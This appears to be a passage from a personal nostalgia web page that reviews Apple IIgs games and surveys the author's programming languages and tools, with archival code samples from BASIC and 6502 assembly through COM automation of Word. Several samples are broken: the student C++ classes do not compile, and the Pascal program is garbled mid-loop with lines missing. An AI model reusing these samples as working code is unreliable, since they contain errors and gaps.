A cool shoot-em-up space game. This is one of many games where you frequently dock with a re-supply ship...and you have to wonder...how did the re-supply ship get here? How are they way ahead of me and just waiting? How come I had to fight a whole space armada to get here and yet this MUCH larger supply ship just cruised on in? Why don't I just ride inside the re-supply ships?
Space Quest
The best (in my opinion) of the "Quest" series of games. (Police Quest, Kings Quest, and Space Quest)
Task Force
Probably the best side-scrolling game ever made for the //GS. This is where the superiority of the Amiga over the //GS was evident...because this game maxxed out the //GS's abilities at 3200 colors, and yet it was still a notch below the best the Amiga could do. The Amiga could turn its graphics up to 11!
Xenocide
This was a really cool game that I couldn't possibly describe.
Zany Golf
Along with Battle Chess, this should make some list of things we couldn't do before computers. Every kid who plays miniature golf dreams of building courses like these!

Programming languages and development tools

Below are all the programming languages I've used over the years, and where possible I have included samples of actual code from my archive of programs I've written since 1979.
Integer Basic
This was the very first programming language for the Apple ][. It was written by Steve Wozniak himself. It was later replaced by a much slower (but more feature-rich) version of BASIC written by Microsoft. I guess you could call it "Vista Basic" :)
Applesoft Basic
The Microsoft Basic for the Apple computer. Like most programs for the Apple ][, you could only do very basic things in BASIC, and most of the hard work had to be done in Assembly. Apple never had a good "in between" language like C. They did have Pascal, but the runtime libraries were impractically large for a 64k machine with 140k disks.

1 HIMEM: 32768
5 IF PEEK ( -16384) = 160 THEN END
10 REM DATABASE
15 PRINT CHR$(4);"BLOAD SEARCH.BIN"
20 TEXT : HOME
21 PRINT CHR$(12)
30 INPUT "NAME OF WORK FILE : ";NAME$
63 PRINT CHR$(4);"OPEN "NAME$".DATA":PRINT CHR$(4);"READ "NAME$".DATA"
70 INPUT F
71 ML = 0
72 FOR T = 1 TO F
74 INPUT NF$(T): INPUT LF(T): ML = ML + LF(T): INPUT SP(T)
80 NEXT
85 POKE 32816, ML
86 POKE 32801, F
90 PRINT CHR$(4);"CLOSE "NAME$".DATA":PRINT CHR$(4);"OPEN "NAME$",L"ML:PRINT CHR$(4);"READ "NAME$",R0"
95 INPUT N
97 PRINT CHR$(4);"CLOSE "NAME$
98 DIM D$(F,100)
99 MN = N
100 TEXT:HOME
101 PRINT CHR$(12)
105 PRINT : PRINT N" RECORD IN CURRENT FILE" : PRINT
110 PRINT "CHOOSE : "
120 PRINT "(1) ADD TO CURRENT FILE"
130 PRINT "(2) READ FROM CURRENT FILE"
140 PRINT "(3) CREATE A NEW FILE"
150 PRINT "(4) CHANGE CURRENT FILE"
152 PRINT "(5) SORT/ALPHABETIZE A FILE"
153 PRINT "(6) EDIT A FILE"
154 PRINT "(7) RESET # OF RECORDS IN A FILE
155 PRINT "(8) DELETE RECORDS FROM A FILE"
160 PRINT "(9) SEARCH FOR LISTING"
161 PRINT "(S) DETAILED SEARCH"
162 PRINT "(Q) QUIT"
164 PRINT:PRINT "WHICH : ";: GET A$
180 ON A GOTO 1000,2000,5000,6000,7000,6200,6300,6400,10000,7000
.
.
.
3000 REM DETAILED SEARCH
3010 TEXT: HOME
3020 PRINT "ENTER SEARCH STRING : ";
3030 S$ = ""
3040 CALL -657
3050 FOR X = 512 TO 766: IF PEEK(X) <> 141 THEN S$ = S$ + CHR$(PEEK(X) - 128) : NEXT X
3060 A = 0: B = LEN(S$)
3070 FOR T = 34048 TO 34304
3080 A = A + 1
3090 IF A > B THEN GOTO 3150
3100 POKE T, ASC(MID$(S$,A,1)) + 128
3110 NEXT T
3150 POKE 32805,B
3160 CALL 34560
3170 PRINT:PRINT
3180 PRINT "PRESS ANY KEY TO CONTINUE....";: GET Z$
3190 PRINT:PRINT
3200 GOTO 100
6502 Assembly
I wrote a database program for the Apple ][ back in 1984. If I printed all of it out, it would be a stack of pages as thick as a novel. And all it did was basic Read/Write/Update/Delete database operations that you could accomplish in just a few lines of Java code today. This piece of code is reading a small data buffer and outputting the data to the screen at the current cursor position. The label names I used were horrible, like "ARES2" and "AACONT2", and that's because after a few hundred pages of source code, you run out of good names for labels, and you are just happy to find any combination of letters you haven't used yet.

ALPH1 INC REC1+1 ; INCREMENT RECORD # TO 1 (ONLY ONE PASS)
BNE ACONT
INC REC2+1
ACONT LDA #DBHI ; STORE ADDRESS OF DATABUFFER 1
STA BUFFAHI+1
LDA #DBLO
STA BUFFALO+1
JSR RD ; READ INTO DB 1
LDY #$0A ; CHECK FOR ERROR
LDA (00),Y
CMP #$00
BEQ ARES2
JMP QUIT ; IF ERROR QUIT
ARES2 INC REC1+1 ; INCREMENT RECORD #. (MULTI PASS)
BNE AACONT2
INC REC2+1
AACONT2 LDA REC2+1 ;
CMP NHI ;
BCC ACONT2 ;
BEQ AHIEQ ;
JMP QUIT ; CHECK TO SEE IF END OF RECORDS REACHED
AHIEQ LDA REC1+1 ;
CMP NLO ;
BCC ACONT2 ; CAREFUL HERE....LAST RECORD
BEQ ACONT2 ;
JMP QUIT ;
ACONT2 LDA #DBHI2 ; FASTER TO DO ONLY ONCE. POSSIBLE FIX.
STA BUFFAHI+1 ; STORE ADDRESS OF DB 2
LDA #DBLO2
STA BUFFALO+1
JSR RD ; READ INTO DB 2
LDY #$0A
LDA (00),Y
CMP #$00
BEQ ARES3
JMP QUIT ; IF ERROR QUIT

;
; OUTPUT RECORD TO VIDEO
;
ARES3 LDX #$0
ALOOPA LDA DATABUF2,X
CMP #$0
BNE OUTONE
LDA #$A0
OUTONE CMP #$8D
BNE OUTONEX
LDA #$AA
OUTONEX CPX #$27
BCS NOTVID
STA VIDEO,X
INX
CPX RECLEN
BNE ALOOPA

;
; VIDEO OUT END
;
Merlin Assembler
This was probably the most popular assembler for the Apple ][. I used both Merlin and LISA heavily in my own software development. (I still use both to this day.) I can't find any good links about Merlin through, other than these links to the documentation: doc1, doc2, doc3
Logo
Turtle! Turtle! Turtle! A entire programming language designed around the concept of issuing commands to an imaginary turtle. And the turtle was drawn on the screen as a triangle...because we all know that turtles have three sides.
C++
Here is the absolutely first C++ program I ever wrote. This was for a class in college. Apparently I was very fond of stream operations.


class faculty : public person
{
char *rank;
int tenured;
char *dept;
int salary;
int get(faculty p);
ostream& operator << (ostream& s, faculty& p);
}

faculty::faculty(int n, int a, int p, int s, int r, int t, int d, int sal)
: person(n, a, p, s) /* call the person constructor */
{
rank = (char *)malloc(r);
tenured = t;
dept = (char *)malloc(d);
salary = sal;
}

int get(faculty p)
{
int status;
status = person::get(p);
return (status + scanf("%f%s%s%s", p.gpa, p.major, p.id));
}

ostream& operator << (ostream& s, faculty& p)
{
s << p.name << p.address << p.phone << p.ssn <<
p.rank << p.tenured << p.dept << p.salary;
return s;
}

class person
{
protected:
person() {};
person(char *n, char *a, char *p, char *s);
char *name;
char *address;
char *phone;
char *ssn;
person create(char *n,char *a,char *p,char *s);
void copy(person& d, person s);
void get(ostream& s, person p);
ostream& put(ostream& s, person p);
ostream& operator >> (ostream& s, person& p);
ostream& operator << (ostream& s, person& p);
}

person::person(char *n, char *a, char *p, char *s)
{
name = new char[strlen(n)+1];
address = new char[strlen(a)+1];
phone = new char[strlen(p)+1];
ssn = new char[strlen(s)+1];

strcpy(name, n);
strcpy(address, a);
strcpy(phone, p);
strcpy(ssn, s);
}

person create(char *n,char *a,char *p,char *s)
{
person pr;

pr.name = new char[strlen(n)+1];
pr.address = new char[strlen(a)+1];
pr.phone = new char[strlen(p)+1];
pr.ssn = new char[strlen(s)+1];

strcpy(pr.name, n);
strcpy(pr.address, a);
strcpy(pr.phone, p);
strcpy(pr.ssn, s);

return pr;
}

void copy(person& d, person s)
{
delete d.name;
delete d.address;
delete d.phone;
delete d.ssn;

name = new char[strlen(s.name)+1];
address = new char[strlen(s.address)+1];
phone = new char[strlen(s.phone)+1];
ssn = new char[strlen(s.ssn)+1];

strcpy(d.name, s.name);
strcpy(d.address, s.address);
strcpy(d.phone, s.phone);
strcpy(d.ssn, s.ssn);
}

void get(ostream&s, person p)
{
s >> p.name >> p.address >> p.phone >> p.ssn;
}

void put(ostream& s, person& p)
{
s << p.name << p.address << p.phone << p.ssn;
}

ostream& operator >> (ostream& s, person& p)
{
person::get(s, p);
return s;
}

ostream& operator << (ostream& s, person& p)
{
person::put(s, p);
return s;
}

class student : public person
{
float gpa;
char *major;
char *id;
student() {};
student(char *n, char *a, char *p, char *s, float g, char *m, char *i);
student create(char *n,char *a,char *p,char *s,float g,char *m,char *i);
student student::operator = (student& s);
ostream& get(ostream& s, student& p);
ostream& put(ostream& s, student& p);
ostream& operator >> (ostream& s, student& p);
ostream& operator << (ostream& s, student& p);
}

student::student(int n, int a, int p, int s, float g, int m, int i)
: person(n, a, p, s)
{
gpa = g;
major = (char *)malloc(m);
id = (char *)malloc(i);
}

student create(char *n,char *a,char *p,char *s,float g,char *m,char *i)
{
student st;

st = person::create(n, a, p, s);
st.gpa = g;
st.major = new char[strlen(m)+1];
st.id = new char[strlen(i)+1];
strcpy(st.major, m);
strcpy(st.id, i);

return st;
}

student student::operator = (student& s)
{
if (this == &n)
return s;

delete name;
delete address;
delete phone;
delete ssn;

delete major;
delete id;

return (create(s.name, s.address, s.phone, s.ssn, s.gpa, s.major, s.id))
;
}

void get(ostream& s, student p)
{
person::get(s, p);
s >> p.gpa >> p.major >> p.id;
}

void put(ostream& s, student p)
{
person::put(s, p);
s << p.gpa << p.major << p.id;
}

ostream& operator >> (ostream& s, student& p)
{
student::get(s, p);
return s;
}

ostream& operator << (ostream& s, student& p)
{
student::put(s, p);
return s;
}

Apple Pascal
This was the first true IDE for the Apple Computer (and for any personal computer that I know of). It had a top navbar with menus (and this was 1979!!). The one thing that made Apple Pascal icky was that it had its own proprietary operating system. This proprietary OS had all the Pascal runtime libraries built in at the OS level, so that allowed you to generate smaller executables...if you were running on the Pascal OS. This is eerily similar to the relationship between Microsoft Windows and .NET. Microsoft has intentionally made .NET part of the Windows Operating system, so that you can have smaller executables.
 
Program Formula(Input,Output);

Var
H,F:ARRAY[1..100] OF INTEGER;
I,N:INTEGER;
R,E,A,L,U,M:REAL;

Begin
{ set all variables to zero }
I:=0;N:=0;R:=0;E:=0;A:=0;L:=0;U:=0;M:=0;
CLRSCR;
{ entrance stage }
{ user inputs all grades of students tested, and computer stores this }
{ information under variables H[i] for high school grades and F[i] for }
{ college freshmen year grades. }
WRITELN('Enter the number of students to be correlated: ');
READLN(N);
FOR I:=1 TO N DO
BEGIN
WRITE('Enter the final high school average of student (',I,'): ');
READLN(H[I]);
WRITE('Enter the final average for the freshmen year -=> ');
READLN(F[I]);
E:=E+(H[I]*F[I]);
A:=A+H[I];
L:=L+F[I];
U:=U+SQR(H[I]);
M:=M+SQR(F[I]);
END;
CLRSCR;
WRITELN('Please check your printer for results of test. Thankyou for using the CPT.');
WRITELN(LST,' College prediction tool');
WRITELN(LST,'==============================================================================');
WRITELN(LST,' ');
WRITELN(LST,' Out of the ',n,' students tested, they recieved the following averages... ');
FOR I:=1 TO N DO
BEGIN
WRITE(LST,' Final High School average of student (');
IF I<10>0 THEN WRITE(LST,'+');
WRITELN(LST,R:2:0,' or ',R:2:8,'. ');
WRITELN(LST,' ');

IF R>0.85 THEN BEGIN
WRITELN(LST,' This suggests a strong correlation between High School scores and a ');
WRITELN(LST,' students first year of college. ')
END;
IF R<=0.85 THEN BEGIN WRITELN(LST,' This suggests that there is no correlation between High School scores and ');
WRITELN(LST,' students first year of college. ');
END; WRITELN(LST,' ');
WRITELN(LST,'==============================================================================');
END.
Turbo Pascal
This was the real birth of Borland. They made a Pascal compiler that was small and fast and portable to a wide range of platforms, and it became the most popular compiler of the day. I had a Pascal class at school where we used Turbo Pascal on IBM PC's, and I also ran Turbo Pascal on my Apple ][ using a CPM card.

(* Robert Pappas
AP Computer Science
Third Period
Due: Thursday, October 4, 1985 *)

(* Program to find primes by the Sieve of Eratosthenes *)

PROGRAM PRIMES(INPUT,OUTPUT);

VAR A:ARRAY[1..1003] OF INTEGER;
P,Q,W,R:INTEGER;

BEGIN
WRITELN(LST,'ALL PRIMES FROM 2-1000 : ');
R:=1;
FOR Q:=1 TO 1000 DO
BEGIN
A[Q]:=1;
END;
FOR P:=2 TO 999 DO
BEGIN
R:=R+1;
W:=R*2;
WHILE W<=1000 DO
BEGIN
A[W]:=0;
W:=W+R;
END;
END;
FOR Q:=2 TO 1000 DO
BEGIN
IF A[Q]=1 THEN WRITE(LST,' ',Q);
END;
END.
Lisp
The popular joke about Lisp is that it stands for "Lots of Silly Irritating Parenthesis". Lisp is a functional language (as opposed to a procedural language). Everything is a function, and there is no real concept of "state" or mutable data. Subroutines and major sections of code are implemented as many sets of nested functions, thus resulting in the extensive uses of parenthesis.

For Computer Scientists, Lisp is just about the coolest programming language ever invented, and that is absolutely amazing considering Lisp is even older the COBOL! Lisp continues to be cool...and perhaps has gotten even cooler now that there has been a resurgence in the popularity of function languages. COBOL, on the other hand, is viewed as a cancer of Computer Science for which there is no cure. The best we've done is to drive it into remission.

; Traveling salesman problem. Written by Robert Pappas 3/17/90
;
; This program will take a list of cities and the distances between
; cities and return the shortest possible route to reach all cities
; in a loop. To run the program, load it into scheme, and call the function
; 'main' with the number of cities there are. For this example, the data
; table has been set up for 6 cities, so you could call (main 6)
; for all 6 cities, or (main 5) for the shortest distance among the
; first 5, etc. If more or different cities are to be added, only
; the variables 'citylist' (which contains the city names) and
; 'vec' (which contains a two-dimensional array containing distances
; from every city to every other city) need to be changed.


; The functions 'minus' takes two arguments, an element, and a list
; and returns the list minus that element
; (minus '3 '(1 2 3 4 5)) would be '(1 2 4 5)

(define minus (lambda (ele l)
(if (eq? (car l) ele) (cdr l)
(cons (car l) (minus ele (cdr l))))))

; My_min returns the smaller of two lists by comparing their first elements.
; This is used for comparing distances, since all city paths contain N
; elements for the N cities, plus a distance number at the head of the
; list, and it is that number which must be compared.

(define my_min (lambda (z1 z2)
(if (equal? z1 '(0)) z2
(if (> (car z1) (car z2)) z2 z1))))


; List of cities

(define citylist (vector '(Gary,) '(Ft. Wayne,) '(Evansville,)
'(Terre Haute,) '(South Bend,)
'(Indianapolis,)))


; 2-D array of distances in the same order as 'citylist'

(define vec (vector (vector 0 132 277 164 58 153)
(vector 132 0 290 201 79 121)
(vector 277 290 0 113 303 168)
(vector 164 201 113 0 196 71)
(vector 58 79 303 196 0 140)
(vector 153 121 168 71 140 0)))


; The function 'distance' receives two arguments, 'l' which is the list
; of cities to calculate the distance on, and 'n' which is the number of
; cities in the list. Distance will then return the distance traveled
; by following a path connecting them in the order listed.

(define distance (lambda (l n)
(if (equal? (length l) 1) (vector-ref (vector-ref vec (car l)) n)
(+ (vector-ref (vector-ref vec (car l)) (cadr l))
(distance (cdr l) n)))))


; The function 'mini' is the guts of the program. It controls the
; stepping of the program through the entire tree of path possibilities.
; 'l' is the list of cities unused, and 'pl' is the list of cities that
; have already been visited along the path. 'k' and 'n' are counter
; variables for position in list and number of cities respectively.

(define mini (lambda (l pl k n)
(if (equal? n 0) (cons (distance pl (car pl)) pl)
(my_min (if (equal? (+ k 1) n ) '(0)
(mini l pl (+ k 1) n) )
(mini (minus (list-ref l k) l)
(append pl (list (list-ref l k))) 0
(- n 1))))))

; Dump translates the list of numbers returned by the program into
; the corresponding city names.

(define dump (lambda (l)
(if (equal? (length l) 1) (vector-ref citylist (car l))
(append (vector-ref citylist (car l))
(dump (cdr l))))))

; Opt prints out the distance in a somewhat readable format and
; then calls dump (see above)

(define opt (lambda (l)
(write (append (list (car l))
(list '(miles))
(dump (cdr l))))))

; Makelist generates a list containing all the numbers corresponding to
; all the cities. Makelist (6) would return '(1 2 3 4 5 6) for example.

(define makelist (lambda (g)
(if (equal? g 0) '(0)
(append (list g) (makelist (- g 1))))))

; Main starts this whole chain of events off.

(define main (lambda (x)
(opt (mini (makelist (- x 1)) '() 0 x))))

Scheme
A smaller and more modern implementation of Lisp. It implements some aspects of declarative programming for convenience and to make it a slightly more accessible flavor of Lisp.

The sample Lisp program I gave above is actually written for Scheme.
Oracle Forms
When all you make is databases, you develop a strange perspective on the world in which everything looks a query. The whole purpose of Oracle Forms was (and continues to be) to make any screen just a visual representation of a SQL statement. And to some extent...ya...that kinda works. But it leads to flat client/server applications.
SQL
Structure Query Language. I've written nightmarishly complex SQL statements over the years, but they aren't worth posting here.
Stored Procedures
I think developers have had a love/hate relationship with stored procedures over the years. Centralizing data logic is good. Adding load to the least scalable piece of your infrastructure is bad. But the real tipping point for me that made me not want to use Stored Procedures is that they are all database specific. There is no database-neutral Stored Procedure language that is supported by all major databases. I've run into too many instances where we needed to port a project from one database to another, but couldn't because it used stored procedures heavily.
Unix Shell Scripting
This is not a real programming language, but rather just a scripting language for Unix/Linux. Flow control and comparators are especially kludgey in all Shell Scripting languages that I know.
Modula-2
A supposed successor to Pascal, and based largely on the Pascal syntax. It also had support for multiprogramming. But it never really caught on, and I've never seen it used outside of one class I took.
Borland C++
This was THE C++ compiler for the PC platform in the DOS days. But when Windows came along, Microsoft leveraged their Windows monopoly to drive Borland out of the market.
Turbo Vision
Oh I wish I still had the source code for some of the applications I wrote in Turbo Vision. Turbo Vision was a GUI framework written using only text-mode ANSI characters. It had mouse support and implemented windows, buttons, droplists, and other GUI controls using only a text interface. That's VERY cool, and I would argue still useful today. I'm a fan of ncurses for similar reasons.
Delphi
Delphi was one of the first and best RAD (Rapid Application Development) platforms in the 90's. Delphi used Object Pascal as its programming language. Most IDEs that tried to be RAD used "toy" programming languages like Basic. These IDEs were only good for FAD (Fake Application Development). Other IDEs tried to use serious programming languages like C++, but C++ is too complex for two-way wizarding. These IDEs became SAD (Slow Application Development). Delphi struck that perfect balance between having a real programming language, and still having a powerful IDE that could do all the boilerplate work of GUI development. Despite technical superiority on many levels, Delphi's RAD was no match for MAD (Microsoft Application Development).
  
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Label1: TLabel;
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ private declarations }
public
{ public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
Label1.Caption := 'Hello World';
end;

end.

Watcom C/C++
This compiler started its life as "Waterloo C" for the IBM System 370. It became the best C/C++ compiler for the Intel platform...but then was eventualy eclipsed by Microsoft Visual C++. Microsoft never made the best compilers...they just made the compilers that won.
Oracle Pro*C/C++
This was a strange but useful C/C++ pre-compiler made by Oracle. You would put these SQL commands right into your C source code, and then the Oracle pre-compiler would convert them into the complicated Oracle native C calls to execute those statements.

EXEC SQL
SELECT
C_GROUP_CASE_ID,
N_SEQ_BOOK,
N_SEQ_SRVC,
C_PLN_TYPE,
C_PLN_SEQ_NO
INTO
:SLT272_C_GROUP_CASE_ID,
:SLT272_N_SEQ_BOOK,
:SLT272_N_SEQ_SRVC,
:SLT272_C_PLN_TYPE,
:SLT272_C_PLN_SEQ_NO
FROM SLY272_BOOK_SRVC
WHERE
C_GROUP_CASE_ID = :SLT272_C_GROUP_CASE_ID
AND N_SEQ_BOOK = :SLT272_N_SEQ_BOOK
AND N_SEQ_SRVC = :SLT272_N_SEQ_SRVC
AND C_PLN_TYPE = :SLT272_C_PLN_TYPE
AND C_PLN_SEQ_NO = :SLT272_C_PLN_SEQ_NO;
switch (SQLCODE)
{
case SQL_SUCCESS:
pBookletService->SetC_Return(SQL_SUCCESS);
break;

case SQL_ROW_NOT_FOUND:
pBookletService->SetC_Return(SQL_ROW_NOT_FOUND);
return SQL_SUCCESS;
break;

default:
LogDBError("Select_Sly272BookSrvc",
"Select",
CString(NumToString(SLT272_C_GROUP_CASE_ID) + " / " +
NumToString(SLT272_N_SEQ_BOOK) + " / " +
NumToString(SLT272_N_SEQ_SRVC) + " / " +
SLT272_C_PLN_TYPE + " / " +
NumToString(SLT272_C_PLN_SEQ_NO) ),
SQLCODE);

return (SQLCODE);
}
MFC
Microsoft Foundation Classes. The best thing I can say about the MFC is that it was usable...with some practice. They were reasonably stable, and they worked well with Visual C++ which had become the defacto standard too for Windows GUI Development in C++. They did not sufficiently abstract the inner workings of Windows, and they tended to force you into one way (The Microsoft Way) of doing everything. If the Windows API is a sewer, then MFC is a wetsuit, but what I really wanted was a boat.
  


/////////////////////////////////////////////////////////////////////////////
// CDwdev2App initialization

BOOL CDwdev2App::InitInstance()
{
// Initialize OLE libraries
if (!AfxOleInit())
{
AfxMessageBox(IDP_OLE_INIT_FAILED);
return FALSE;
}

AfxEnableControlContainer();

// Standard initialization
// If you are not using these features and wish to reduce the size
// of your final executable, you should remove from the following
// the specific initialization routines you do not need.

#ifdef _AFXDLL
Enable3dControls(); // Call this when using MFC in a shared DLL
#else
Enable3dControlsStatic(); // Call this when linking to MFC statically
#endif

// Change the registry key under which our settings are stored.
// TODO: You should modify this string to be something appropriate
// such as the name of your company or organization.
SetRegistryKey(_T("Local AppWizard-Generated Applications"));

LoadStdProfileSettings(); // Load standard INI file options (including MRU)

// Register the application's document templates. Document templates
// serve as the connection between documents, frame windows and views.

CSingleDocTemplate* pDocTemplate;
pDocTemplate = new CSingleDocTemplate(
IDR_MAINFRAME,
RUNTIME_CLASS(CDwdev2Doc),
RUNTIME_CLASS(CMainFrame), // main SDI frame window
RUNTIME_CLASS(CDwdev2View));
pDocTemplate->SetContainerInfo(IDR_CNTR_INPLACE);
AddDocTemplate(pDocTemplate);

// Parse command line for standard shell commands, DDE, file open
CCommandLineInfo cmdInfo;
ParseCommandLine(cmdInfo);

// Dispatch commands specified on the command line
if (!ProcessShellCommand(cmdInfo))
return FALSE;

// The one and only window has been initialized, so show and update it.
m_pMainWnd->ShowWindow(SW_SHOW);
m_pMainWnd->UpdateWindow();

return TRUE;
}


gcc
The Gnu Compiler Collection. This is the defacto way I compile C and C++ programs on those occasions when I still write them for Linux. The gcc also has compilers for Java, Ada, Fortran and many other languages. But the vast majority of Linux projects (by far) just use the C and C++ compilers.

Turbo C
Turbo C was my platform of choice for all of the early 90's. C was becoming a mainstream language, and the PC was becoming a serious development platform.
OWL
A toolkit for developing Windows applications. It actually (after a few iterations) became better than MFC. But that didn't matter. Microsoft makes the platform, so Microsoft has the edge. MFC won out, and OWL died.
 
#include <condefs.h>

int OwlMain(int , char* [])
{
return TApplication("Hello World!").Run();
}
#define WinMain

COM/ DCOM
"Can't Oppose Monopolies" and "Definitely Can't Oppose Monopolies". This was Microsoft's binary object model, designed to allow you to use components from multiple languages...but NOT multiple platforms.

The philosophy of a component model is driven largely by the vendor(s) behind it. I have a metaphor for each:

1) Microsoft: You are locked in a cage. You are constantly being told that you are free because you are allowed to do anything you want, and use any programming language you want....INSIDE your cage. Oh, and your cage is 90ft off the ground, so even if you insist on escaping from your cage, you will pay a high price.

2) Sun: You are in a hamster ball. You can leave your cage and roll anywhere you want, but you must interact with the world through the hamster ball.

3) Oracle: You are in a hamster Habitrail cage. You can go anywhere you want as long as you are willing to buy and build out the expensive Oracle tubing to get there. Oracle also makes a lot of expensive pre-fab modules that can connect to each other with this tubing.

4) IBM: You are a Hamster in a suit. You look ridiculous. You don't care about component models because they don't pay you to care.


Here is a little source code from a "simple" COM project where i'm trying to remote-control Microsoft Word.


void CSlwView2App::InitializeWord()
{
USES_CONVERSION;

LPUNKNOWN pUnk;
LPDISPATCH lpDispatch;
CLSID clsid;

Word97::Documents oDocuments;

//Declare some commonly used Ole Variants.
COleVariant covTrue((short)TRUE);
COleVariant covFalse((short)FALSE);
COleVariant covOptional((long)DISP_E_PARAMNOTFOUND, VT_ERROR);

/*-------------------------------------------------------------------------
- Find the GUID (CLSID) of the Word Application on the users system.
- This will enable us to use COM to launch the application.
---------------------------------------------------------------------------*/
::CLSIDFromProgID(T2OLE("Word.Application"), &clsid);
/*--------------------------------------------------------------------------
- Let's see if Word is already running. If it is, we'll use the running
- instance of Word. Otherwise, we'll launch a new instance of word.
--------------------------------------------------------------------------*/
if (::GetActiveObject(clsid, NULL, &pUnk) == S_OK)
{
/*------------------------------------------------------------------------
- Oh good. Word is already running, and we have a COM pointer to it
- stored in "pUnk". So let's use COM's QueryInterface
- to request a handle to its Dispatch Interface.
------------------------------------------------------------------------*/
VERIFY(pUnk->QueryInterface(IID_IDispatch,
(void**) &lpDispatch) == S_OK);
/*--------------------------------------------------------------------------
- Now, we attach our local Word Dispatch object to the Dispatch of the
- running instance of Word.
--------------------------------------------------------------------------*/
m_oApp.AttachDispatch(lpDispatch);
/*------------------------------------------------------------------------
- We no longer need the pUnk COM pointer, so we Release it.
------------------------------------------------------------------------*/
pUnk->Release();
TRACE("I was able to attach to an existing Word instance\n");
}
else
{
/*----------------------------------------------------------------------
- Oh. Word is NOT running. So we just launch it using the Ole function
- CreateDispatch. This will make m_oApp into a Dispatch Interface we
- can use to talk to Word.
-----------------------------------------------------------------------*/
if (!m_oApp.CreateDispatch("Word.Application"))
{
AfxMessageBox("Unable to launch Microsoft Word. Make sure Microsoft Word is installed on this machine.");
return;
}
TRACE("I had to create a new Word instance\n");
}

/*--------------------------------------------------------------------------
- Now we use the Application Dispatch to get a handle to the Documents
- Dispatch. Any running instance of Word has about 200 Dispatch Interfaces
- that you can use. They are all outlined in msword8.h. They include
- Interfaces like "Application", "Documents", "Bookmarks", "Paragraphs", etc
--------------------------------------------------------------------------*/
oDocuments.AttachDispatch(m_oApp.GetDocuments());
/*--------------------------------------------------------------------------
- Open the Output Document. m_oDoc is a "Document" object. And we open
- it within oDocuments which is a "Documents" (with an s) object. The
- "Documents" object contains "Document" objects.
--------------------------------------------------------------------------*/
m_oDoc.AttachDispatch(oDocuments.Open(
COleVariant(m_sFileName, VT_BSTR),
covFalse, // Confirm Conversion.
covFalse, // ReadOnly.
covTrue, // AddToRecentFiles.
covOptional, // PasswordDocument.
covOptional, // PasswordTemplate.
covFalse, // Revert.
covOptional, // WritePasswordDocument.
covOptional, // WritePasswordTemplate.
covOptional) // Format.
);

///////////////////////////////////////////////
// Set Document Properties
///////////////////////////////////////////////
m_oApp.SetVisible(TRUE); //This shows the application.

/*--------------------------------------------------------------------------
- Some of these functions have bad FSHA (Focus Stealing .... ....) behaviors.
- So we have to re-ShowProgress after each function.
--------------------------------------------------------------------------*/
m_pStatusPrompt->ShowProgress("Initializing Word...", IDI_INIT);

/*--------------------------------------------------------------------------
Set any Custom Document Properties for this document.
--------------------------------------------------------------------------*/
SetDocumentProperties(APP_NAME, m_sMode);
SetDocumentProperties(REQUEST_ID_PROPERTY, m_sRequestId);
m_pStatusPrompt->ShowProgress("Initializing Word...", IDI_INIT);
/*--------------------------------------------------------------------------
Push the Document-Specific macro to Word. (The Document_Close macro)
--------------------------------------------------------------------------*/

//KLUDGE. If we are in browse mode, we can't reference the
//SlwView2 object because it won't be there. And if we Reference
//and object that's not there, VB will complain, even though we will
//never execute that line of code.
if (m_sMode == BROWSE)
{
m_sSlwView2Document.Replace("SlwView2.", "'SlwView2.");
}

PushDocumentMacro();

m_pStatusPrompt->ShowProgress("Initializing Word...", IDI_INIT);

/*--------------------------------------------------------------------------
- If BROWSE mode. Then we are done, and we can exit the application.
- (Not exit Word, just exit SlwView2.)
--------------------------------------------------------------------------*/
if (m_sMode == BROWSE)
{
/*--------------------------------------------------------------------------
- We've made document changes be adding the macros. So we need to set
- the document status to "Saved" so Word doesn't think the USER has
- made these changes.
--------------------------------------------------------------------------*/
m_oDoc.SetSaved(TRUE);
return;
}

/*--------------------------------------------------------------------------
Push Normal.Dot macros (modules) to Word
--------------------------------------------------------------------------*/
PushModuleMacros();

/*--------------------------------------------------------------------------
Calling SetCustomizationContext(m_oDoc) tells word that any customizations
we make from THIS point forward apply only to the Document, not the Word
Frame.
--------------------------------------------------------------------------*/
m_oApp.SetCustomizationContext(m_oDoc);

/*--------------------------------------------------------------------------
Create Custom Toolbar
--------------------------------------------------------------------------*/
LoadCustomToolbar();

/*--------------------------------------------------------------------------
Make Word think that no changes have been made to the document.
--------------------------------------------------------------------------*/
m_oDoc.SetSaved(TRUE);

}


CORBA
We built the baseball field, but no one came. :) CORBA was a platform neutral (and language neutral) component technology. But Microsoft opposed it in favor of COM and DCOM. Being platform neutral is no good if the biggest platform (Microsoft) won't use it. That's how powerful Microsoft is: They can destroy neutrality from the receiving end. Microsoft has always had the George W. Bush stance of "Either you are with us, or you are against us.". So, any attempt to be neutral is viewed by Microsoft as hostile action.
X-Windows
I don't have any of my X-Windows code from my first job, because we threw the whole project away. I was on a project to implement X-Windows functionality for Ada. The Federal Government had passed a law saying that Ada was now their standard programming language. All new systems had to be written in Ada. Well, this was a real pain for anyone who was developing X-Windows applications for the Government, because C was the best (really only) language for X-Windows development. We had an Ada compiler for SCO Unix, so we started a project to write tons of Ada hooks into X-Windows libraries. By the time we completed the project, the Government relaxed their restrictions to allow for C and C++. So...we threw the project away.
Orca C for //gs
For some reason, C compilers were always awkward and slow to take off on the Apple ][ platform. Apple ][ programmers used mostly Assembly or Pascal. Orca/C was the first major C IDE for developing full GUI application for the Apple ][gs. But by the time it was released, most C coders had already abandoned the Apple ][ platform for Turbo/C on the PC.
ZBasic
Surprisingly ahead of its time in many ways. It was a cross-platform language that allowed your application to run the same platform...even if they had graphics. This is pretty much what Java became years later.
Smalltalk
A pure object-oriented language. It is well-designed, consistent, and powerful. However, it just never caught on. The practical uses of a programming language always out-weigh the purity of the language syntax. And so Smalltalk was passed over for C++, Java, C#, and Visual Basic. Visual Basic is a classic example of a HORRIBLE programming language that succeeded because of its practical applications for 2nd-tier developers.
Microsoft Visual Interdev
In 1996, Microsoft said "Hey, this World Wide Web thing is getting popular!", and so they created an HTML editor and stapled Visual Basic on it. At the time, this was a pretty cool tool...if you were already married to Microsoft technologies.
Microsoft Visual J++, Microsoft Visual J#
